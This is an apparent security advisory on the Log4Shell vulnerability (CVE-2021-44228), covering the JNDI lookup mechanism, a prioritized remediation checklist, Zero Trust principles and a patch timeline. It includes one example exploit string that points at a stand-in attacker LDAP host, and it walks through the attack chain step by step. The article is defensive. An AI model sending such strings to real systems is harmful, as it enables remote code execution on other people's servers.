Mitigate The Risks Of Apache Log4j Remote Code Execution Vulnerability

CVE-2021-44228, the Apache Log4j Remote Code Execution (RCE) vulnerability disclosed in December 2021, immediately became one of the most widely exploited vulnerabilities in the history of the internet. Apache Log4j is a Java logging library used across an estimated hundreds of millions of servers, enterprise applications, cloud services, web applications, email services, and embedded devices. The scale of deployment made the attack surface nearly universal: any application that logged user-controlled input using Log4j 2.x versions before 2.15.0 was potentially vulnerable. Exploitation attempts began within hours of public disclosure. The recommended action for any organization that has not yet fully addressed this vulnerability: upgrade all Log4j 2.x instances to 2.17.0 or later, scan for transitive dependencies that embed Log4j in third-party libraries, and implement the Zero Trust Architecture principles that reduce the blast radius of this class of vulnerability regardless of whether the immediate CVE is patched. For the broader incident response framework for handling security vulnerabilities, see Build A Secure Incident Response Plan For Your Organization.

Quick Answer: What Is the Log4j Vulnerability and Why Does It Matter?

CVE-2021-44228, commonly called Log4Shell, is a critical Remote Code Execution vulnerability in Apache Log4j 2.x that received a CVSS score of 10.0: the maximum possible rating. It allows an unauthenticated remote attacker to execute arbitrary code on a vulnerable server by causing Log4j to log a specially crafted string containing a JNDI (Java Naming and Directory Interface) lookup URL. The attacker controls where the JNDI lookup resolves, directing the vulnerable server to download and execute a malicious Java class file from an attacker-controlled server. Because Log4j is embedded in an enormous number of applications, both direct and as a transitive dependency inside third-party libraries, the vulnerable population was effectively every Java-based application using Log4j 2.x through 2.14.1.

What Is Log4j?

Apache Log4j is an open-source logging library that is widely used in almost every environment where a Java application is in use. This includes enterprise applications, cloud services, web applications, email services, and open-source software. The library is used to log security and performance information, recording events that occur during application execution for debugging, auditing, and operational monitoring purposes. Because logging is a fundamental function of almost every application, Log4j became embedded not just in applications that directly declared it as a dependency, but in countless other libraries and commercial products that those applications included. This layered embedding is what made CVE-2021-44228 so difficult to fully remediate: organizations could not rely on finding Log4j only in their own code; they had to identify it in every library their applications depended on.

What Is the Issue? The JNDI Exploit Mechanism

The vulnerability leverages JNDI (Java Naming and Directory Interface) lookups that are enabled in the default configuration of Log4j 2.x. JNDI is a Java API that clients use to look up data and objects stored in different directory and naming services such as Lightweight Directory Access Protocol (LDAP), Domain Name System (DNS), and Remote Method Invocation (RMI). The API uses a string as an input parameter, and this input parameter can be exploited by a remote attacker to execute arbitrary code. Log4j does not sanitize input parameters, allowing an attacker to provide a string that is used to load and invoke a remote Java class file. An attacker with the ability to control log messages can execute remote code loaded from LDAP servers when message lookup substitution is enabled and gain full control of the affected server. An attacker can exploit this vulnerability by following these steps:

• An attacker creates a specially crafted string containing the malicious payload and sends it to a vulnerable system. This string can be inserted in any field the system logs, such as:
  • User Agent
  • Username
  • Device name or email address
• The string points to an attacker-controlled LDAP or DNS server, such as:

  ${jndi:ldap://evil-hack.com/a}.

  This string is then sent to Log4j for logging.

• The vulnerable system uses JNDI to query the attacker-controlled LDAP or DNS server.
• The attacker-controlled LDAP or DNS server responds with a remote Java class file (exploit.class).
• The Java class is downloaded and executed on the vulnerable system, giving the attacker arbitrary code execution.

Severity of the Issue

The impact of CVE-2021-44228 was very broad due to the nature of the vulnerability and the near-universal deployment of Log4j. The vulnerability was exploited within hours of public disclosure, and exploitation attempts grew rapidly. To exploit the vulnerability, an attacker only needs to cause the target system to log a specially crafted message: the exploit can be triggered through any input field that reaches a Log4j logger, including HTTP headers, form fields, usernames, and search queries. Attackers exploited this vulnerability extensively for cryptocurrency mining and for deploying other types of malware and ransomware. Nation-state threat actors began exploiting the vulnerability shortly after disclosure, and exploitation attempts remained high for weeks.

Security experts warned that because of Java’s packaging model, the vulnerability could be several layers deep within applications and not easily detected by surface-level scanners. A product could be vulnerable because a library it depends on depends on another library that includes Log4j, with no direct Log4j reference visible in the product’s own dependency manifest. The vulnerability was exploitable on both Windows and Linux systems, and affected both cloud and on-premises deployments.

How to Mitigate the Risk: Prioritized Remediation Checklist

An organization can follow these recommendations to address this vulnerability, ordered by priority:

• Deploy scanning tools and scripts to identify all applications and systems using vulnerable Log4j versions, including transitive dependencies embedded in third-party libraries; do not rely on first-party dependency manifests alone
• Upgrade all Log4j 2.x instances to version 2.17.0 or later (for Java 8 environments) or the latest version compatible with your Java version; note that 2.15.0 had an incomplete fix and was superseded
• As an immediate workaround where patching is not yet possible, remove the JndiLookup class from the classpath using the command: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
• Apply security patches for all public-facing applications and systems immediately; apply patches for internal applications and systems as rapidly as possible, prioritizing those with external network exposure
• Check network perimeter logs for indicators of compromise including outbound LDAP or DNS requests to unexpected external hosts originating from application servers
• If you are using a Web Application Firewall (WAF), deploy or enable rules that detect and block Log4j exploit strings in HTTP headers, request bodies, and URL parameters
• Isolate vulnerable systems through network segmentation to prevent lateral movement if exploitation occurs before patching is complete
• Monitor for suspicious activities with particular attention to applications that establish unexpected remote connections, especially LDAP or RMI connections to external hosts
• Review vendor advisories for all third-party software and appliances in your environment; many commercial products embedded Log4j and required vendor-supplied patches rather than direct patching
• Implement Zero Trust Architecture principles as a long-term defense against this class of vulnerability

Zero Trust Architecture: The Long-Term Defense

An important element in all malware attacks, including Log4j exploitation, is that the attacker uses the organization’s own applications and systems against the organization. Organizations should consider implementing Zero Trust Architecture to reduce the blast radius of this class of vulnerability. Zero Trust is an approach that secures an organization by rejecting implicit trust and continuously validating every request. It is based on the principle of never trust, always verify: every access request is first authenticated, authorized, and encrypted before providing access to the resource. Zero Trust Architecture is based on three key principles:

1. Verify explicitly:

   Always authenticate and authorize requests based on user identity, device, location, service, workload, and other parameters. In the context of Log4j, this means that even if an attacker achieves code execution on one system, they cannot automatically access adjacent systems without also satisfying the authentication requirements for those systems.

2. Use least privilege:

   Restrict access to only the resources required for the specific function of each system or user. Use risk-based policies and data protection to secure data and systems. A Log4j-compromised application that has only the access required for its function cannot be used to pivot to high-value databases or credential stores that are outside its required access scope.

3. Assume breach and inspect every activity:

   Use analytics to maintain visibility of network, system, and application activity, and use anomaly detection to identify the lateral movement and command-and-control communication patterns typical of post-exploitation activity. Assume that any system may be compromised and monitor accordingly.

Identity has become the new network perimeter, and verification of these identities is central to Zero Trust Architecture. Instead of identification based on IP address, identity is based on verifying users and systems using Identity and Access Management (IAM), Multi-Factor Authentication (MFA), and Public Key Infrastructure (PKI). Organizations can use PKI to issue digital certificates to users, machines, web applications, and mobile devices to provide secure, verified network authentication. Data needs to be protected when at rest and in transit, making encryption an important part of implementing Zero Trust. PKI allows an organization to establish machine identity and encrypt communications between systems. For more on PKI services, see PKI-as-a-Service.

Update Log

Scroll

Date	Update
December 9, 2021	CVE-2021-44228 publicly disclosed; Apache Log4j 2.15.0 released with initial fix disabling JNDI lookups by default
December 13, 2021	CVE-2021-45046 assigned to incomplete fix in 2.15.0 under certain configurations; Apache Log4j 2.16.0 released disabling JNDI entirely by default
December 18, 2021	CVE-2021-45105 (denial of service) assigned; Apache Log4j 2.17.0 released
December 28, 2021	CVE-2021-44832 (RCE if attacker controls Log4j configuration) assigned; Apache Log4j 2.17.1 released
January 2022	Exploitation attempts continued at high volume; multiple nation-state actor groups confirmed exploiting the vulnerability
September 2026 (this update)	Content updated with additional technical detail, detection guidance, prioritized remediation checklist, update log, and FAQ section for ongoing reference

Expand table

Conclusion

Frequently Asked Questions